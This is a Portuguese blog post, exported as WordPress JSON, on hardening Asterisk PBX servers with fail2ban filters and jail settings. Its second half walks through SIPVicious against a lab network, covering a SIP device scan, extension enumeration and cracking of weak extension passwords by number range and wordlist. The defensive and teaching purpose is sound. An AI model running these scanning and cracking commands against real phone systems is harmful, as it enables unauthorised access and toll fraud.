{"id":162,"date":"2011-09-05T12:48:46","date_gmt":"2011-09-05T15:48:46","guid":{"rendered":"http:\/\/blog.abratel.com.br\/?p=162"},"modified":"2012-05-23T23:21:57","modified_gmt":"2012-05-24T02:21:57","slug":"fail2ban-asterisk-invasor-invadido-como-se-preparar","status":"publish","type":"post","link":"https:\/\/blog.abratel.com.br\/?p=162","title":{"rendered":"fail2ban asterisk invasor invadido! Como se preparar"},"content":{"rendered":"<p>Cr\u00e9ditos: Wagner Nunes (http:\/\/wnunes.com) modificado por Ulisses F\u00e9res.<\/p>\n<p>Uma forma simples de minimizar problemas com ataques por for\u00e7a bruna no asterisk \u00e9 a implementa\u00e7\u00e3o do fail2ban.<\/p>\n<p>Na pratica este servi\u00e7o analisa as entradas nos logs e implementa regras de iptables baseadas nessa analise, desta forma a reincid\u00eancia de express\u00f5es como \u201cWrong password\u201d nos logs do asterisk gera um drop no iptables para o ip que est\u00e1 tentando se autenticar.<\/p>\n<p>Instalando o fail2ban<\/p>\n<p>Depend\u00eancias:<\/p>\n<p>    * python<br \/>\n    * iptables<\/p>\n<p>No debian, para se certificar que as depend\u00eancias est\u00e3o instaladas, basta rodar o seguinte comando:<\/p>\n<p>#apt-get install python iptables<\/p>\n<p>Descompacte o pacote<br \/>\nConfigurando o Fail2Ban<\/p>\n<p>Agora n\u00f3s precisamos fazer com que o fail2ban seja capaz de identificar ataques contra o asterisk.<\/p>\n<p>Os arquivos de configura\u00e7\u00e3o ficam em: \/etc\/fail2ban\/filter.d<\/p>\n<p>Vamos criar aqui um arquivo para o asterisk.<\/p>\n<p>#touch asterisk.conf<\/p>\n<p>Este arquivo deve conter o seguinte:<br \/>\n#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n[INCLUDES]<\/p>\n<p>[Definition]<br \/>\nfailregex = NOTICE.* .*: Registration from \u2018.*\u2019 failed for \u2018<HOST>\u2019 \u2013 Wrong password<br \/>\n            NOTICE.* .*: Registration from \u2018.*\u2019 failed for \u2018<HOST>\u2019 \u2013 No matching peer found<br \/>\n            NOTICE.* .*: Registration from \u2018.*\u2019 failed for \u2018<HOST>\u2019 \u2013 Username\/auth name mismatch<br \/>\n            NOTICE.* .*: Registration from \u2018.*\u2019 failed for \u2018<HOST>\u2019 \u2013 Device does not match ACL<br \/>\n            NOTICE.* <HOST> failed to authenticate as \u2018.*\u2019$<br \/>\n            NOTICE.* .*: No registration for peer \u2018.*\u2019 \\(from <HOST>\\)<br \/>\n            NOTICE.* .*: Host <HOST> failed MD5 authentication for \u2018.*\u2019 (.*)<br \/>\n            NOTICE.* .*: Failed to authenticate user .*@<HOST>.*<br \/>\nignoreregex =<\/p>\n<p>#&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>ATEN\u00c7\u00c3O, NO ASTERISK 1.8 foi necess\u00e1rio fazer alguns ajustes nesse arquivo, adicionando a frente da string HOST o parametro (:[0-9]{1,5})? ficando como abaixo:<\/p>\n<p>[INCLUDES]<br \/>\n[Definition]<\/p>\n<p>failregex = NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>(:[0-9]{1,5})?&#8217; &#8211; Wrong password<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>(:[0-9]{1,5})?&#8217; &#8211; No matching peer found<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>(:[0-9]{1,5})?&#8217; &#8211; Username\/auth name mismatch<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>(:[0-9]{1,5})?&#8217; &#8211; Device does not match ACL<br \/>\n            NOTICE.* <HOST> failed to authenticate as &#8216;.*&#8217;$<br \/>\n            NOTICE.* .*: No registration for peer &#8216;.*&#8217; \\(from <HOST>\\)<br \/>\n            NOTICE.* .*: Host <HOST> failed MD5 authentication for &#8216;.*&#8217; (.*)<br \/>\n            NOTICE.* .*: Failed to authenticate user .*@<HOST>.*<\/p>\n<p>ignoreregex =<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\nATEN\u00c7\u00c3O, NO ASTERISK 1.6 foi necess\u00e1rio fazer alguns ajustes como abaixo:<\/p>\n<p>[INCLUDES]<br \/>\n[Definition]<br \/>\nfailregex = NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>&#8216; &#8211; Wrong password<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>&#8216; &#8211; No matching peer found<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>&#8216; &#8211; Username\/auth name mismatch<br \/>\n            NOTICE.* .*: Registration from &#8216;.*&#8217; failed for &#8216;<HOST>&#8216; &#8211; Device does not match ACL<br \/>\n            NOTICE.* .*: <HOST> failed to authenticate as &#8216;.*&#8217;$<br \/>\n            NOTICE.* .*: No registration for peer &#8216;.*&#8217; (from <HOST>)<br \/>\n            NOTICE.* .*: Host <HOST> failed MD5 authentication for &#8216;.*&#8217; (.*)<br \/>\n            NOTICE.* .*: Failed to authenticate user .*@<HOST>.*<br \/>\nignoreregex =<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>No aquivo \/etc\/fail2ban\/jail.conf  inclua as seguintes linhas:<\/p>\n<p>[asterisk-iptables]<br \/>\nenabled = true<br \/>\nfilter = asterisk<br \/>\naction = iptables-allports[name=ASTERISK, protocol=all]<br \/>\nsendmail-whois[name=ASTERISK, dest=root, sender=abratel@gmail.com<br \/>\nlogpath = \/var\/log\/asterisk\/messages<br \/>\nmaxretry = 3<br \/>\nbantime = 259200<\/p>\n<p>Maxretry determina a quantidade de erros que o fail2ban vai aceitar de um determinado host antes de bani-lo.<\/p>\n<p>O bantime \u00e9 em segundos, portanto neste caso qualquer tentativa de ataque ao asterisk ser\u00e1 banida por 72 horas.<\/p>\n<p>Para n\u00e3o banir voc\u00ea mesmo, no jail.conf, procure pela tag [DEFAULT], no paramento ignoreip informe seu ip.<\/p>\n<p>Edite o \/etc\/asterisk\/logger.conf e defina o dateformat da seguinte forma.<\/p>\n<p>\/etc\/asterisk\/logger.conf<br \/>\n[general]<br \/>\ndateformat=%F %T<\/p>\n<p>[logfiles]<br \/>\nconsole => notice,warning,error,debug,verbose<br \/>\nmessages => notice,warning,error<br \/>\nfull => notice,warning,error,debug,verbose<br \/>\nsyslog.local0 => notice<\/p>\n<p>Feito isso \u00e9 s\u00f3 dar reload no logger<\/p>\n<p>asterisk -rx \u201dlogger reload\u201d<\/p>\n<p>Para verificar se o fail2ban subiu, basta rodar o seguinte comando:<\/p>\n<p>\/etc\/init.d\/fail2ban stop<br \/>\n\/etc\/init.d\/fail2ban start<\/p>\n<p>iptables -L -v<\/p>\n<p>As seguintes linhas devem aparecer:<\/p>\n<p>Chain fail2ban-ASTERISK (1 references)<br \/>\n pkts bytes target     prot opt in     out     source               destination<br \/>\n6287K 1158M RETURN     all  \u2013  any    any     anywhere             anywhere<\/p>\n<p>Adicionar a run level para in\u00edcio autom\u00e1tico:<br \/>\nln -s \/etc\/init.d\/fail2ban \/etc\/rc2\/S99fail2ban<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nTestando<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/p>\n<p>Mas chega de enrola\u00e7\u00e3o, o objetivo deste artigo \u00e9 mostrar como funciona uma das ferramentas mais usadas nesse tipo de ataque.<\/p>\n<p>Lembrando que este material tem carater meramente educativo, E EU N\u00c3O ME RESPONSABILIZO DE FORMA ALGUMA PELO MAU USO DAS INFORMA\u00c7\u00d5ES AQUI CONTIDAS. <\/p>\n<p>O que \u00e9 o sipvicious?<br \/>\nSipvicious \u00e9 uma suite de ferramentas para auditoria em sistemas voip baseados em sip, ele \u00e9 composto por 4 ferramentas:<br \/>\nsvmap \u2013 Um sip scanner capas de listar dispositivos sip em uma rede ou range de ips.<br \/>\nsvwar \u2013 Ferramenta que identifica ramais sip em um PBX.<br \/>\nsvcrack \u2013 Ferramenta para quebrar senhas de ramais sip.<\/p>\n<p>Requisitos:<br \/>\nPython 2.4 ou superior.<br \/>\nO ideial \u00e9 que n\u00e3o haja um asterisk rodando na maquina de testes, por uma quest\u00e3o de utliza\u00e7\u00e3o da porta 5060, ok.<br \/>\nOk, m\u00e3os a obra.<\/p>\n<p>    * Para este teste, uma rede foi montada com os erros mais comuns na administra\u00e7\u00e3o de servidores Asterisk, s\u00e3o eles:<br \/>\n    * Ramais onde a senha \u00e9 o numero do ramal.<br \/>\n    * Ramais com senhas toscas que podem ser facilmente encontradas em wordlists.<br \/>\n    * Ramais sem senha.<br \/>\n    * Firewall chumbrega.<br \/>\n    * fail2ban nem pensar.<br \/>\n    * Sem regras de permit\/deny no sip.conf<br \/>\n    * Todos os ramais ligam pra qualquer lugar.<\/p>\n<p>Neste teste n\u00f3s nem vamos utilizar todas estas falhas, mas pense a respeito!!!!<\/p>\n<p>Download do sipvicious<\/p>\n<p>wget http:\/\/sipvicious.googlecode.com\/files\/sipvicious-0.2.4.tar.gz<br \/>\ntar -zxvf sipvicious-0.2.4.tar.gz<br \/>\ncd sipvicious-0.2.4<\/p>\n<p> Vamos rastrear os dipositivos SIP na rede.<\/p>\n<p>.\/svmap.py 10.6.12.0\/24<\/p>\n<p>| SIP Device        | User Agent                                   | Fingerprint                            |<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014-<br \/>\n| 10.6.12.76:5060  | Asterisk PBX                                 | Asterisk PBX                           |<br \/>\n| 10.6.12.65:5060  | T20 9.41.0.80                                | AVM or Speedport                       |<br \/>\n| 10.6.12.47:5060  | T20 9.41.0.70                                | AVM or Speedport                       |<br \/>\n| 10.6.12.48:5060  | T20 9.41.0.80                                | AVM or Speedport                       |<br \/>\n| 10.6.12.43:5060  | Grandstream GXP280 1.2.3.5                   | Grandstream phone                      |<br \/>\n| 10.6.12.45:5060  | Grandstream GXP280 1.2.3.5                   | Grandstream phone                      |<br \/>\n| 10.6.12.83:5060  | Grandstream GXP280 1.2.2.26                  | Grandstream phone                      |<br \/>\n| 10.6.12.31:5060  | T20 9.41.0.70                                | AVM or Speedport                       |<br \/>\n| 10.6.12.55:5060  | T20 9.41.0.70                                | AVM or Speedport                       |<br \/>\n| 10.6.12.80:5060  | T20 9.41.0.80                                | AVM or Speedport                       |<br \/>\n| 10.6.12.240:5060 | Asterisk PBX                                 | Asterisk \/ Linksys\/PAP2T-3.1.15(LS)    |<br \/>\n| 10.6.12.3:5060   | Asterisk PBX                                 | Asterisk \/ Linksys\/PAP2T-3.1.15(LS)    |<br \/>\n| 10.6.12.32:5060  | Yealink SIP-T20P 9.41.0.77 00:15:65:11:c2:8d | AVM or Speedport                       |<br \/>\n| 10.6.12.34:5060  | T20 9.41.0.80                                | AVM or Speedport                       |<br \/>\n| 10.6.12.23:5060  | Asterisk PBX                                 | Asterisk PBX                           |<br \/>\nOk, o 23 ta com cara de alvo. Vamos ver oque ele tem<\/p>\n<p> .\/svwar.py 10.6.12.23 <\/p>\n<p> | Extension | Authentication |<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014<br \/>\n| 201       | reqauth        |<br \/>\n| 200       | reqauth        |<br \/>\n| 203       | reqauth        |<br \/>\n| 205       | reqauth        |<br \/>\n| 204       | reqauth        |<br \/>\n| 207       | reqauth        |<br \/>\n| 206       | reqauth        |<br \/>\n| 208       | reqauth        |<br \/>\n| 210       | reqauth        |<br \/>\n| 211       | reqauth        |<br \/>\n| 501       | reqauth        |<br \/>\n| 217       | reqauth        |<br \/>\n| 500       | reqauth        |<br \/>\n| 212       | reqauth        |<br \/>\n| 250       | reqauth        |<br \/>\n| 220       | reqauth        |<br \/>\n| 502       | reqauth        |<br \/>\n| 222       | reqauth        |<br \/>\n| 221       | reqauth        |<br \/>\n| 213       | reqauth        |<br \/>\n| 1100      | noauth         |<br \/>\n| 1101      | noauth         |<\/p>\n<p>Para teste de senhas numericas basta rodar o seguinte comando.<br \/>\n.\/svcrack.py 10.6.12.23 -u 201<br \/>\n| Extension | Password      |<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n| 201       | 123           |<\/p>\n<p> Senha fraca n\u00e9???<br \/>\nSenhas alfanum\u00e9ricas podem ser crackeadas atrav\u00e9z de uma wordlist.<\/p>\n<p>.\/svcrack.py 10.6.12.23 -u 202 -d \/etc\/dicionario.txt<\/p>\n<p>| Extension | Password      |<br \/>\n\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2013<br \/>\n| 202       | teste         |<br \/>\noops, mais uma!!!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cr\u00e9ditos: Wagner Nunes (http:\/\/wnunes.com) modificado por Ulisses F\u00e9res. Uma forma simples de minimizar problemas com ataques por for\u00e7a bruna no asterisk \u00e9 a implementa\u00e7\u00e3o do fail2ban. Na pratica este servi\u00e7o analisa as entradas nos logs e implementa regras de iptables baseadas nessa analise, desta forma&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=\/wp\/v2\/posts\/162"}],"collection":[{"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=162"}],"version-history":[{"count":0,"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=\/wp\/v2\/posts\/162\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.abratel.com.br\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}